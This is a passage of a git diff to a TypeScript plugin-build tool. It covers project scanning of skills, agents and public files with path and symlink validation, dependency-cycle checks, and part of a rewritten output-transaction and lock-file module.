根目录的路径。 - * @returns 带源路径、目标相对路径和权限的辅助文件列表。 - */ -async function collectSkillAuxiliary( - directory: string, - config: ResolvedConfig, - diagnostics: DiagnosticCollector, - prefix = '', -): Promise { - /** 当前递归子树累计发现的普通文件。 */ - const result: SkillAuxiliaryFile[] = []; - for (const entry of await listSourceDirectory(path.join(directory, prefix), config.root, diagnostics)) { - if (prefix === '' && entry.name === 'SKILL.md') - continue; - /** 辅助文件在最终 Skill 目录中的 POSIX 相对路径。 */ - const relativePath = path.posix.join(prefix.split(path.sep).join('/'), entry.name); - /** 当前辅助目录项的绝对源路径。 */ - const file = path.join(directory, relativePath); - if (entry.isSymbolicLink()) { - diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { - phase: 'discover', location: { path: relative(config.root, file) }, - }); - } else if (entry.isDirectory()) { - result.push(...await collectSkillAuxiliary(directory, config, diagnostics, relativePath)); - } else if (entry.isFile()) { - /** 辅助文件的权限信息,用于保留是否可执行。 */ - const stat = await fs.stat(file); - result.push({ path: relativePath, sourcePath: file, mode: modeFromStat(stat.mode) }); - } else { - diagnostics.error('SOURCE_ENTRY_UNSUPPORTED', 'Only regular files and directories are supported.', { - phase: 'discover', location: { path: relative(config.root, file) }, - }); - } - } - return result; -} - -/** - * 扫描 `src/skills//SKILL.md` 及其辅助文件。 - * - * @param config 已解析工程配置。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 按目录名稳定排序的有效 Skill 列表。 - */ -async function scanSkills(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { - /** Skill 的固定一级源码目录。 */ - const directory = path.join(config.srcDir, 'skills'); - /** 通过结构和 Frontmatter 验证的 Skill。 */ - const result: SkillComponent[] = []; - for (const entry of await listSourceDirectory(directory, config.root, diagnostics)) { - /** 当前 Skill 的绝对目录。 */ - const skillDirectory = path.join(directory, entry.name); - /** 当前 Skill 目录的工程相对路径。 */ - const sourcePath = relative(config.root, skillDirectory); - if (entry.isSymbolicLink()) { - diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { phase: 'discover', location: { path: sourcePath } }); - continue; - } - if (!entry.isDirectory()) { - diagnostics.error('SKILL_ENTRY_INVALID', 'Skills must be one-level directories.', { phase: 'discover', location: { path: sourcePath } }); - continue; - } - if (!validateId(entry.name, sourcePath, diagnostics)) - continue; - /** Skill 必需的主 Markdown 文件。 */ - const file = path.join(skillDirectory, 'SKILL.md'); - if (!await exists(file)) { - diagnostics.error('SKILL_FILE_REQUIRED', 'Skill directory must contain SKILL.md.', { phase: 'discover', location: { path: sourcePath } }); - continue; - } - /** 当前 Skill 的通用 Markdown 解析结果。 */ - const parsed = await parseMarkdown(file, config.root, diagnostics); - if (!parsed) - continue; - /** SKILL.md 用于诊断和 Component 来源的相对路径。 */ - const markdownPath = relative(config.root, file); - validateFields(parsed.data, ['description', 'invocation', 'requires', 'platforms'], markdownPath, diagnostics); - /** Skill 必需的非空描述。 */ - const description = stringField(parsed.data, 'description', markdownPath, diagnostics, true); - if (!description) - continue; - /** 是否允许用户显式调用 Skill,默认为开启。 */ - let user = true; - /** 是否允许模型自主调用 Skill,默认为开启。 */ - let model = true; - if (parsed.data.invocation !== undefined) { - if (parsed.data.invocation === null || typeof parsed.data.invocation !== 'object' || Array.isArray(parsed.data.invocation)) { - diagnostics.error('SKILL_INVOCATION_INVALID', 'invocation must be a mapping.', { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation'] }); - } else { - /** 已验证为映射的调用策略。 */ - const invocation = parsed.data.invocation as Record; - for (const key of Object.keys(invocation)) { - if (key !== 'user' && key !== 'model') - diagnostics.error('SKILL_INVOCATION_FIELD', `Unknown invocation field "${key}".`, { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation', key] }); - } - if (typeof invocation.user === 'boolean') - user = invocation.user; - else if (invocation.user !== undefined) - diagnostics.error('SKILL_INVOCATION_BOOLEAN', 'invocation.user must be boolean.', { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation', 'user'] }); - if (typeof invocation.model === 'boolean') - model = invocation.model; - else if (invocation.model !== undefined) - diagnostics.error('SKILL_INVOCATION_BOOLEAN', 'invocation.model must be boolean.', { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation', 'model'] }); - } - } - if (!user && !model) - diagnostics.error('SKILL_INVOCATION_EMPTY', 'invocation.user and invocation.model cannot both be false.', { phase: 'discover', location: { path: markdownPath }, fieldPath: ['invocation'] }); - result.push({ - kind: 'skill', id: entry.name, description, invocation: { user, model }, - body: parsed.body, sourcePath: markdownPath, - requires: parseRequires(parsed.data.requires, markdownPath, diagnostics), - platforms: await parsePlatforms(parsed.data.platforms, { kind: 'skill', id: entry.name, sourcePath: markdownPath }, config, diagnostics), - auxiliaryFiles: await collectSkillAuxiliary(skillDirectory, config, diagnostics), - }); - } - return result; -} - -/** - * 扫描 `src/agents/*.md` 并构造规范 Agent Component。 - * - * @param config 已解析工程配置。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 按文件名稳定排序的有效 Agent 列表。 - */ -async function scanAgents(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { - /** Agent 的固定一级源码目录。 */ - const directory = path.join(config.srcDir, 'agents'); - /** 通过结构和 Frontmatter 验证的 Agent。 */ - const result: AgentComponent[] = []; - for (const entry of await listSourceDirectory(directory, config.root, diagnostics)) { - /** 当前 Agent 目录项的绝对源码路径。 */ - const file = path.join(directory, entry.name); - /** 当前 Agent 用于报告和 Component 的相对路径。 */ - const sourcePath = relative(config.root, file); - if (entry.isSymbolicLink()) { - diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { phase: 'discover', location: { path: sourcePath } }); - continue; - } - if (!entry.isFile() || !entry.name.endsWith('.md')) { - diagnostics.error('AGENT_ENTRY_INVALID', 'Agents must be one-level .md files.', { phase: 'discover', location: { path: sourcePath } }); - continue; - } - /** 从 `.md` 文件名提取的 Agent ID。 */ - const id = entry.name.slice(0, -3); - if (!validateId(id, sourcePath, diagnostics)) - continue; - /** 当前 Agent 的通用 Markdown 解析结果。 */ - const parsed = await parseMarkdown(file, config.root, diagnostics); - if (!parsed) - continue; - validateFields(parsed.data, ['description', 'model', 'capabilities', 'requires', 'platforms'], sourcePath, diagnostics); - /** Agent 必需的非空描述。 */ - const description = stringField(parsed.data, 'description', sourcePath, diagnostics, true); - if (!description) - continue; - /** Frontmatter 提供或由 Core 默认的模型档位。 */ - const modelValue = parsed.data.model ?? 'inherit'; - /** 收敛到 Core 可移植枚举后的模型档位。 */ - const model = typeof modelValue === 'string' && AGENT_MODELS.has(modelValue as AgentModel) - ? modelValue as AgentModel - : 'inherit'; - if (model !== modelValue) - diagnostics.error('AGENT_MODEL_INVALID', 'model must be inherit, fast, or capable.', { phase: 'discover', location: { path: sourcePath }, fieldPath: ['model'] }); - /** 通过字符串数组结构验证、但尚未验证枚举取值的能力。 */ - const capabilityValues = stringArray(parsed.data.capabilities, ['capabilities'], sourcePath, diagnostics); - /** 仅保留 Core 可移植能力的 Agent 能力列表。 */ - const capabilities = capabilityValues.filter((capability): capability is AgentCapability => { - if (AGENT_CAPABILITIES.has(capability as AgentCapability)) - return true; - diagnostics.error('AGENT_CAPABILITY_INVALID', `Unknown capability "${capability}".`, { phase: 'discover', location: { path: sourcePath }, fieldPath: ['capabilities'] }); - return false; - }); - result.push({ - kind: 'agent', id, description, model, capabilities, - body: parsed.body, sourcePath, - requires: parseRequires(parsed.data.requires, sourcePath, diagnostics), - platforms: await parsePlatforms(parsed.data.platforms, { kind: 'agent', id, sourcePath }, config, diagnostics), - }); - } - return result; -} - -/** - * 递归展开一条 Public 复制来源,并拒绝符号链接及特殊文件。 - * - * @param source 当前源文件或目录路径。 - * @param target 当前来源映射到产物中的相对路径。 - * @param config 已解析工程配置。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 当前子树中的普通 Public 文件列表。 - */ -async function collectPublicTree( - source: string, - target: string, - config: ResolvedConfig, - diagnostics: DiagnosticCollector, -): Promise { - /** 当前 Public 来源的文件系统元数据。 */ - let stat: import('node:fs').Stats; - try { - stat = await fs.lstat(source); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') { - diagnostics.error('PUBLIC_SOURCE_MISSING', 'Public copy source does not exist.', { phase: 'discover', location: { path: relative(config.root, source) } }); - return []; - } - throw error; - } - if (stat.isSymbolicLink()) { - diagnostics.error('SOURCE_SYMLINK_UNSUPPORTED', 'Symbolic links are not supported.', { phase: 'discover', location: { path: relative(config.root, source) } }); - return []; - } - if (stat.isFile()) - return [{ sourcePath: source, targetPath: target.split(path.sep).join('/'), mode: modeFromStat(stat.mode) }]; - if (!stat.isDirectory()) { - diagnostics.error('SOURCE_ENTRY_UNSUPPORTED', 'Only regular files and directories are supported.', { phase: 'discover', location: { path: relative(config.root, source) } }); - return []; - } - /** 当前目录子树累计展开的 Public 文件。 */ - const result: PublicFile[] = []; - for (const entry of await listSourceDirectory(source, config.root, diagnostics)) - result.push(...await collectPublicTree(path.join(source, entry.name), path.join(target, entry.name), config, diagnostics)); - return result; -} - -/** - * 校验 Public 展开后的目标路径唯一性并返回稳定排序快照。 - * - * @param files 默认目录或 copy rule 展开的 Public 文件。 - * @param config 已解析工程配置。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 按目标路径排序且保留首个冲突来源的 Public 文件。 - */ -function finalizePublicFiles( - files: readonly PublicFile[], - config: ResolvedConfig, - diagnostics: DiagnosticCollector, -): PublicFile[] { - /** 目标路径经过 Unicode 和大小写折叠后的首个来源。 */ - const targets = new Map(); - /** 无目标冲突且可以安全交给 Artifact Registry 的文件。 */ - const result: PublicFile[] = []; - for (const file of files) { - /** 先按两种平台语义拒绝绝对输入,避免规范化掩盖 Win32 drive/UNC。 */ - const unsafe = file.targetPath.includes('\0') - || path.posix.isAbsolute(file.targetPath) - || path.win32.isAbsolute(file.targetPath) - || file.targetPath.split(/[\\/]/u).includes('..'); - /** 所有安全目标统一为规范 POSIX 相对路径。 */ - const targetPath = path.posix.normalize(file.targetPath.replaceAll('\\', '/')).replace(/^\.\//u, ''); - if (unsafe || targetPath === '.' || path.posix.isAbsolute(targetPath) || targetPath.split('/').includes('..')) { - diagnostics.error('PUBLIC_TARGET_INVALID', 'Public target must be a non-empty relative path.', { - phase: 'discover', location: { path: relative(config.root, file.sourcePath) }, - }); - continue; - } - /** 跨文件系统碰撞使用与 Artifact Registry 相同的保守比较方式。 */ - const key = targetPath.normalize('NFC').toLocaleLowerCase('en-US'); - /** 已占用同一规范目标路径的 Public 文件。 */ - const previous = targets.get(key); - if (previous) { - diagnostics.error('PUBLIC_TARGET_COLLISION', `Public target "${targetPath}" conflicts with another copy source.`, { - phase: 'discover', - location: { path: relative(config.root, file.sourcePath) }, - related: [{ path: relative(config.root, previous.sourcePath) }], - }); - continue; - } - /** 使用规范化目标创建新对象,不修改 collect 阶段的输入。 */ - const normalized = { ...file, targetPath }; - targets.set(key, normalized); - result.push(normalized); - } - return result.sort((left, right) => compareCodeUnits(left.targetPath, right.targetPath)); -} - -/** - * 根据默认整目录规则或显式 copy 规则扫描公共资源。 - * - * @param config 已解析工程配置。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 将由每个目标共同接收的 Public 文件列表。 - */ -async function scanPublic(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { - if (!config.public.enabled || !await exists(config.public.dir)) - return []; - if (!config.public.copy) - return finalizePublicFiles(await collectPublicTree(config.public.dir, '', config, diagnostics), config, diagnostics); - /** 所有显式 copy 规则展开后的 Public 文件。 */ - const result: PublicFile[] = []; - for (const rule of config.public.copy) - result.push(...await collectPublicTree(path.join(config.public.dir, rule.from), rule.to, config, diagnostics)); - return finalizePublicFiles(result, config, diagnostics); -} - -/** - * 构造同时包含 Component 类型和 ID 的依赖图唯一键。 - * - * @param kind Component 类型。 - * @param id Component ID。 - * @returns 不会让不同类型同名 Component 碰撞的键。 - */ -function componentKey(kind: ComponentKind, id: string): string { - return `${kind}:${id}`; -} - -/** - * 验证 Component 依赖是否存在、是否自引用以及是否形成环。 - * - * @param components Scanner 发现的全部 Core Component。 - * @param diagnostics 当前扫描共享的诊断收集器。 - */ -function validateGraph(components: readonly Component[], diagnostics: DiagnosticCollector): void { - /** 按类型与 ID 唯一索引的 Component。 */ - const byKey = new Map(components.map(component => [componentKey(component.kind, component.id), component])); - /** 从每个 Component 指向其直接 Skill/Agent 依赖的邻接表。 */ - const edges = new Map(); - for (const component of components) { - /** 当前 Component 的图节点键。 */ - const from = componentKey(component.kind, component.id); - /** 当前 Component 声明的全部规范依赖节点键。 */ - const targets = [ - ...component.requires.skills.map(id => componentKey('skill', id)), - ...component.requires.agents.map(id => componentKey('agent', id)), - ]; - /** 只有存在且非自引用的边进入 DFS,结构错误不再额外伪装成环路。 */ - const traversable: string[] = []; - for (const target of targets) { - if (target === from) { - diagnostics.error('COMPONENT_DEPENDENCY_SELF', `${from} cannot require itself.`, { phase: 'validate', component: { kind: component.kind, id: component.id }, location: { path: component.sourcePath } }); - } else if (!byKey.has(target)) { - diagnostics.error('COMPONENT_DEPENDENCY_MISSING', `${from} requires missing ${target}.`, { phase: 'validate', component: { kind: component.kind, id: component.id }, location: { path: component.sourcePath } }); - } else { - traversable.push(target); - } - } - edges.set(from, traversable); - } - - /** 当前深度优先搜索路径上的节点。 */ - const visiting = new Set(); - /** 已完整检查且确认无需再次遍历的节点。 */ - const visited = new Set(); - /** 当前深度优先路径,用于恢复完整环路。 */ - const stack: string[] = []; - /** 已报告环路签名,防止同一路径重复产生诊断。 */ - const reported = new Set(); - /** - * 深度优先检查单个依赖节点。 - * - * @param node 当前 Component 图节点键。 - */ - const visit = (node: string): void => { - if (visited.has(node)) - return; - if (visiting.has(node)) { - /** 当前节点首次出现在 DFS 路径中的位置。 */ - const start = stack.indexOf(node); - /** 首尾包含同一节点的可读环路。 */ - const cycle = [...stack.slice(start), node]; - /** 用于诊断和去重的稳定环路文本。 */ - const signature = cycle.join(' -> '); - if (!reported.has(signature)) { - diagnostics.error('COMPONENT_DEPENDENCY_CYCLE', `Dependency cycle: ${signature}`, { phase: 'validate' }); - reported.add(signature); - } - return; - } - visiting.add(node); - stack.push(node); - for (const target of edges.get(node) ?? []) - visit(target); - stack.pop(); - visiting.delete(node); - visited.add(node); - }; - for (const key of [...byKey.keys()].sort()) - visit(key); -} - -/** - * 验证配置来源目录从工程根开始的每一级都不是符号链接。 - * - * @param root 可信工程根目录。 - * @param directory 已通过配置层 lexical boundary 校验的来源目录。 - * @param diagnostics 当前扫描共享的诊断收集器。 - * @returns 目录不存在或为安全普通目录时返回 true。 - */ -async function validateSourceDirectoryRoot( - root: string, - directory: string, - diagnostics: DiagnosticCollector, -): Promise { - /** 从工程根到来源目录的逐级相对路径片段。 */ - const segments = path.relative(root, directory).split(path.sep).filter(Boolean); - /** 当前正在执行 lstat 的绝对路径。 */ - let current = root; - for (const segment of segments) { - current = path.join(current, segment); - try { - /** lstat 不跟随当前层符号链接,因此能阻止配置目录通过链接逃逸。 */ - const stat = await fs.lstat(current); - if (stat.isSymbolicLink()) { - diagnostics.error('SOURCE_ROOT_SYMLINK', 'Configured source directories cannot contain symbolic links.', { - phase: 'discover', location: { path: relative(root, current) }, - }); - return false; - } - if (!stat.isDirectory()) { - diagnostics.error('SOURCE_ROOT_NOT_DIRECTORY', 'Configured source path must be a directory.', { - phase: 'discover', location: { path: relative(root, current) }, - }); - return false; - } - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - if ((error as NodeJS.ErrnoException).code === 'ENOENT') - return true; - diagnostics.error('SOURCE_ROOT_READ_FAILED', 'Cannot inspect configured source directory.', { - phase: 'discover', location: { path: relative(root, current) }, - }); - return false; - } - } - return true; -} - -/** - * 检查保留源码目录是否已经启用对应的官方 Extension。 - * - * @param config 已解析工程配置。 - * @param diagnostics 当前扫描共享的诊断收集器。 - */ -async function validateExtensionDirectories(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { - /** Core 识别但只允许由官方 Extension 解释的源码目录映射。 */ - const checks = [ - { directory: 'hooks', extension: '@tokenroll/acplugin-extension-hooks' }, - { directory: 'mcp', extension: '@tokenroll/acplugin-extension-mcp' }, - ]; - /** 已配置 Extension 名称集合。 */ - const enabled = new Set(config.extensions.map(extension => extension.name)); - for (const check of checks) { - /** 当前可选 Extension 对应的约定源码目录。 */ - const directory = path.join(config.srcDir, check.directory); - if ((await listDirectory(directory)).length > 0 && !enabled.has(check.extension)) { - diagnostics.error('EXTENSION_REQUIRED', `Source under src/${check.directory} requires ${check.extension}.`, { - phase: 'discover', location: { path: relative(config.root, directory) }, hint: `Add ${check.extension} to extensions.`, - }); - } - } -} - -/** - * 将 Scanner 产出的工程模型递归复制为运行时不可变快照。 - * - * @param project 已完成结构和依赖图校验的工程数据。 - * @returns Platform 与 Extension 只能只读访问的 PluginProject。 - */ -function freezeProject(project: PluginProject): PluginProject { - /** 为每个 Component 创建独立的不可变依赖声明。 */ - const freezeRequires = (requires: ComponentRequires): ComponentRequires => Object.freeze({ - skills: Object.freeze([...requires.skills]), - agents: Object.freeze([...requires.agents]), - }); - /** Command 数组及其对象、依赖和 Platform 映射均不可修改。 */ - const commands = Object.freeze(project.commands.map(command => Object.freeze({ - ...command, - requires: freezeRequires(command.requires), - platforms: Object.freeze({ ...command.platforms }), - }))); - /** Skill 额外冻结 invocation 与辅助文件描述列表。 */ - const skills = Object.freeze(project.skills.map(skill => Object.freeze({ - ...skill, - invocation: Object.freeze({ ...skill.invocation }), - requires: freezeRequires(skill.requires), - platforms: Object.freeze({ ...skill.platforms }), - auxiliaryFiles: Object.freeze(skill.auxiliaryFiles.map(file => Object.freeze({ ...file }))), - }))); - /** Agent 额外冻结能力数组,避免生命周期间发生观察差异。 */ - const agents = Object.freeze(project.agents.map(agent => Object.freeze({ - ...agent, - capabilities: Object.freeze([...agent.capabilities]), - requires: freezeRequires(agent.requires), - platforms: Object.freeze({ ...agent.platforms }), - }))); - /** Public 只保存文件来源和 mode,但描述对象本身同样必须不可变。 */ - const publicFiles = Object.freeze(project.publicFiles.map(file => Object.freeze({ ...file }))); - /** 可选作者和关键词需要和元数据外壳一起冻结。 */ - const metadata = Object.freeze({ - ...project.metadata, - ...(project.metadata.author === undefined ? {} : { author: Object.freeze({ ...project.metadata.author }) }), - ...(project.metadata.keywords === undefined ? {} : { keywords: Object.freeze([...project.metadata.keywords]) }), - }); - return Object.freeze({ ...project, metadata, commands, skills, agents, publicFiles }); -} - -/** - * 扫描 acplugin 规范工程并验证 Component 依赖图。 - * - * Commands、Skills、Agents 和 Public 互不修改,可并行读取;全部完成后再统一验证跨组件依赖。 - * - * @param config 已解析且完成路径安全检查的工程配置。 - * @param diagnostics 可选的共享诊断收集器。 - * @returns 规范 PluginProject 以及同一个诊断收集器。 - */ -export async function scanProject( - config: ResolvedConfig, - diagnostics: DiagnosticCollector = new DiagnosticCollector(), -): Promise<{ project: PluginProject; diagnostics: DiagnosticCollector }> { - /** srcDir 的完整祖先链必须安全,失败时不能继续跟随目录读取。 */ - const sourceSafe = await validateSourceDirectoryRoot(config.root, config.srcDir, diagnostics); - /** 禁用 Public 时不访问其缺省路径;启用时执行同样的祖先链检查。 */ - const publicSafe = !config.public.enabled - || await validateSourceDirectoryRoot(config.root, config.public.dir, diagnostics); - if (sourceSafe) - await validateExtensionDirectories(config, diagnostics); - /** 各独立源码区域并行扫描得到的规范资源。 */ - const [commands, skills, agents, publicFiles] = await Promise.all([ - sourceSafe ? scanCommands(config, diagnostics) : [], - sourceSafe ? scanSkills(config, diagnostics) : [], - sourceSafe ? scanAgents(config, diagnostics) : [], - publicSafe ? scanPublic(config, diagnostics) : [], - ]); - validateGraph([...commands, ...skills, ...agents], diagnostics); - - /** 交给固定生命周期中 Platform 与 Extension 使用的只含 Core 语义工程快照。 */ - const project = freezeProject({ - root: config.root, - metadata: config.metadata, - commands, - skills, - agents, - publicFiles, - }); - return { project, diagnostics }; -} diff --git a/packages/core/src/serialization.ts b/packages/core/src/serialization.ts index 3420ea4..efb972f 100644 --- a/packages/core/src/serialization.ts +++ b/packages/core/src/serialization.ts @@ -34,7 +34,7 @@ export function sortObject(value: unknown): unknown { } /** - * 将值序列化为适合写入 Artifact 的确定性格式化 JSON。 + * 将值序列化为适合写入 Asset 的确定性格式化 JSON。 * * @param value 需要序列化的数据。 * @returns 使用两个空格缩进且以换行结尾的 JSON 文本。 @@ -58,7 +58,7 @@ export function stableYaml(value: unknown): string { * * @param frontmatter 文档头部的结构化元数据。 * @param body Markdown 正文。 - * @returns 可直接写入 Artifact 的完整 Markdown 文本。 + * @returns 可直接写入 Asset 的完整 Markdown 文本。 */ export function markdownWithFrontmatter(frontmatter: Record, body: string): string { return `---\n${stableYaml(frontmatter)}\n---\n${body.trim()}\n`; diff --git a/packages/core/src/transaction.ts b/packages/core/src/transaction.ts index 5909ac2..63d0666 100644 --- a/packages/core/src/transaction.ts +++ b/packages/core/src/transaction.ts @@ -1,9 +1,17 @@ +import { createHash, randomUUID } from 'node:crypto'; import { promises as fs } from 'node:fs'; -import os from 'node:os'; +import type { BigIntStats } from 'node:fs'; +import type { FileHandle } from 'node:fs/promises'; import path from 'node:path'; -import { hashFile } from './artifacts.js'; -import type { Awaitable, DeliveryUnit, MaterializedCandidate } from './contracts.js'; -import type { Artifact } from './types.js'; +import type { PackageUnitSnapshot } from './kernel-types.js'; +import { AssetRegistry } from './kernel/asset-registry.js'; +import { + compareCodePoints, + isInsidePath, + sourceCollisionKey, + validatePhysicalEntry, +} from './kernel/path-policy.js'; +import { materializePackageUnits, scanPhysicalTree, validatePackageUnits } from './package/candidate-materializer.js'; /** 受管输出事务可观测的稳定阶段名称。 */ export type ManagedOutputPhase @@ -15,28 +23,131 @@ export type ManagedOutputPhase | 'backup-created' | 'output-swapped'; -/** 控制 DeliveryUnit 集合提交阶段通知和交换后收尾行为。 */ -export interface CommitDeliveryUnitsOptions { - /** 可选工程根;提供时 outDir 必须严格位于其内部且不能等于工程根。 */ - projectRoot?: string; +/** 完整构建替换所有输出;显式 subset 只替换所选 Platform。 */ +export type ManagedOutputScope = { + readonly type: 'full'; +} | { + readonly type: 'subset'; + readonly platforms: readonly string[]; +}; + +/** Package Unit 集合原子提交选项。 */ +export interface CommitPackageUnitsOptions { + /** outDir 必须严格位于该工程根内部。 */ + readonly projectRoot: string; + /** 默认 full;subset 会在 stage 中保留未选 Platform 的既有输出。 */ + readonly scope?: ManagedOutputScope; /** - * 在事务进入关键阶段时调用,主要用于日志、测试故障注入和外部观测。 + * 在事务进入关键阶段时调用,用于内部观测和 fault injection。 * * @param phase 已经完成的事务阶段。 */ - onPhase?(phase: ManagedOutputPhase): void | Promise; - /** - * 新输出完成交换后、删除回滚备份前调用;失败会触发整个目录回滚。 - */ - afterSwap?(): void | Promise; + readonly onPhase?: (phase: ManagedOutputPhase) => void | Promise; + /** swap 后、删除 rollback backup 前执行的 Core 收尾。 */ + readonly afterSwap?: () => void | Promise; } -/** - * 判断事务辅助路径当前是否存在。 - * - * @param candidate 待检查的文件或目录路径。 - * @returns 可访问时返回 true,否则返回 false。 - */ +/** 既有未选 Platform 中一个普通文件的稳定快照。 */ +interface PreservedFile { + readonly path: string; + readonly bytes: Uint8Array; + readonly mode: 0o644 | 0o755; + readonly size: number; + readonly sha256: string; +} + +/** 一个未选 Platform 的完整旧输出快照。 */ +interface PreservedPlatform { + readonly id: string; + readonly directories: readonly string[]; + readonly files: readonly PreservedFile[]; +} + +/** 崩溃恢复所需的最小 rollback record。 */ +interface TransactionRecord { + readonly schemaVersion: 2; + readonly outDir: string; + readonly scope: ManagedOutputScope['type']; + readonly hadOutput: boolean; +} + +/** 独占锁完整发布后才允许出现的 owner record。 */ +interface ManagedOutputLockRecord { + readonly schemaVersion: 3; + readonly pid: number; + readonly token: string; +} + +/** 读取锁时同时保留精确字节,供无 CAS 删除前复核。 */ +interface ManagedOutputLockObservation { + readonly bytes: string; + readonly metadata: ManagedOutputLockMetadata; + readonly record?: ManagedOutputLockRecord; +} + +/** 路径观察的稳定 inode 与内容 metadata。 */ +interface ManagedOutputLockMetadata { + readonly device: bigint; + readonly inode: bigint; + readonly mode: bigint; + readonly size: bigint; + readonly modified: bigint; + readonly changed: bigint; + readonly created: bigint; +} + +/** 锁路径元数据操作使用的唯一、可精确清理 guard。 */ +interface ManagedOutputLockGuard { + readonly path: string; + readonly pid: number; + readonly token: string; +} + +/** 未完成 marker 只允许存在于这个固定、可恢复的临时后缀。 */ +const MARKER_WRITING_SUFFIX = '.writing'; + +/** 当前进程仍实际持有的 token;清理失败后的同 PID record 不再视为活锁。 */ +const ACTIVE_LOCK_TOKENS = new Set(); + +/** 当前进程正在发布或持有的 lock-metadata guard token。 */ +const ACTIVE_LOCK_GUARD_TOKENS = new Set(); + +/** Platform 和 Unit ID 使用的稳定 lowercase-kebab 规则。 */ +const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** randomUUID 的稳定小写文本形态,避免任意 lock 内容进入 owner 判断。 */ +const LOCK_TOKEN = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u; + +/** 旧 create→write malformed lock 在隔离前必须保持不变的有界观察窗口。 */ +const LEGACY_LOCK_STABILITY_DELAY_MS = 25; + +/** 关闭当前调用独占的 handle;瞬时失败时再尝试一次,避免泄漏描述符。 */ +async function closeOwnedFile(handle: FileHandle): Promise { + try { + await handle.close(); + } catch (firstError) { + try { + await handle.close(); + } catch { + throw firstError; + } + } +} + +/** 删除永不复用或由 metadata guard 保护的自有路径;瞬时失败时安全重试。 */ +async function removeOwnedPath(file: string): Promise { + try { + await fs.rm(file, { force: true }); + } catch (firstError) { + try { + await fs.rm(file, { force: true }); + } catch { + throw firstError; + } + } +} + +/** @returns 路径是否存在;ENOENT 以外错误仍按不存在处理到后续操作。 */ async function exists(candidate: string): Promise { try { await fs.access(candidate); @@ -46,361 +157,828 @@ async function exists(candidate: string): Promise { } } -/** - * 将单个已经过 ArtifactRegistry 验证的产物写入阶段目录。 - * - * @param root 当前目标平台的阶段目录。 - * @param artifact 包含可信来源、摘要和权限的产物。 - */ -async function materializeFile(root: string, artifact: Artifact): Promise { - /** 由受控 POSIX 相对路径解析出的最终阶段文件路径。 */ - const destination = path.join(root, ...artifact.path.split('/')); - await fs.mkdir(path.dirname(destination), { recursive: true }); - if (artifact.source.type === 'bytes') - await fs.writeFile(destination, artifact.source.value, { mode: artifact.mode }); - else - await fs.copyFile(artifact.source.path, destination); - await fs.chmod(destination, artifact.mode); +/** 从 bigint lstat 提取锁恢复需要比较的稳定 metadata。 */ +function managedOutputLockMetadata(stat: BigIntStats): ManagedOutputLockMetadata { + return Object.freeze({ + device: stat.dev, + inode: stat.ino, + mode: stat.mode, + size: stat.size, + modified: stat.mtimeNs, + changed: stat.ctimeNs, + created: stat.birthtimeNs, + }); +} + +/** @returns 两次路径观察是否仍指向同一份未变化内容。 */ +function sameManagedOutputLockMetadata( + left: ManagedOutputLockMetadata, + right: ManagedOutputLockMetadata, +): boolean { + return left.device === right.device && left.inode === right.inode && left.mode === right.mode + && left.size === right.size && left.modified === right.modified && left.changed === right.changed + && left.created === right.created; +} + +/** @returns rename 后的路径是否仍是首次观察的同一个 inode。 */ +function sameManagedOutputLockInode( + left: ManagedOutputLockMetadata, + right: ManagedOutputLockMetadata, +): boolean { + return left.device === right.device && left.inode === right.inode && left.created === right.created; +} + +/** 读取一个完整锁记录;旧版或截断内容作为可隔离的 malformed observation。 */ +async function readManagedOutputLock(file: string): Promise { + /** 锁绝不能借助 symlink 或特殊文件影响同级输出。 */ + const pathBefore = await fs.lstat(file, { bigint: true }); + if (pathBefore.isSymbolicLink() || !pathBefore.isFile()) + throw new Error('Managed output lock must be a regular file.'); + /** FileHandle 把 metadata 与字节绑定到同一 inode,避免 path read 的替换竞态。 */ + const handle = await fs.open(file, 'r'); + /** handle 读取的精确锁字节。 */ + let bytes: string; + /** handle 读取完成后的稳定 metadata。 */ + let metadata: ManagedOutputLockMetadata; + try { + /** open 前后的 inode 必须仍与首次 lstat 一致,且不能变成特殊文件。 */ + const before = await handle.stat({ bigint: true }); + if (!before.isFile() + || !sameManagedOutputLockMetadata(managedOutputLockMetadata(pathBefore), managedOutputLockMetadata(before))) + throw new Error('Managed output lock changed while it was being observed.'); + /** 精确原始字节用于隔离时确认没有搬走另一个 writer 的新记录。 */ + bytes = await handle.readFile({ encoding: 'utf8' }); + /** handle 与当前路径在读取后必须仍指向同一份未变化内容。 */ + const after = await handle.stat({ bigint: true }); + /** 当前路径的最终 metadata 用于确认没有 replacement。 */ + const pathAfter = await fs.lstat(file, { bigint: true }); + metadata = managedOutputLockMetadata(after); + if (!sameManagedOutputLockMetadata(managedOutputLockMetadata(before), metadata) + || !sameManagedOutputLockMetadata(metadata, managedOutputLockMetadata(pathAfter))) + throw new Error('Managed output lock changed while it was being observed.'); + } finally { + await closeOwnedFile(handle); + } + try { + /** 未验证 JSON 只在当前函数局部存在。 */ + const value: unknown = JSON.parse(bytes); + if (typeof value !== 'object' || value === null || Array.isArray(value)) + return Object.freeze({ bytes, metadata }); + /** schema 3 只允许 pid/token/schemaVersion 三个固定字段。 */ + const record = value as Record; + if (Object.keys(record).sort(compareCodePoints).join(',') !== 'pid,schemaVersion,token' + || record.schemaVersion !== 3 || !Number.isSafeInteger(record.pid) || 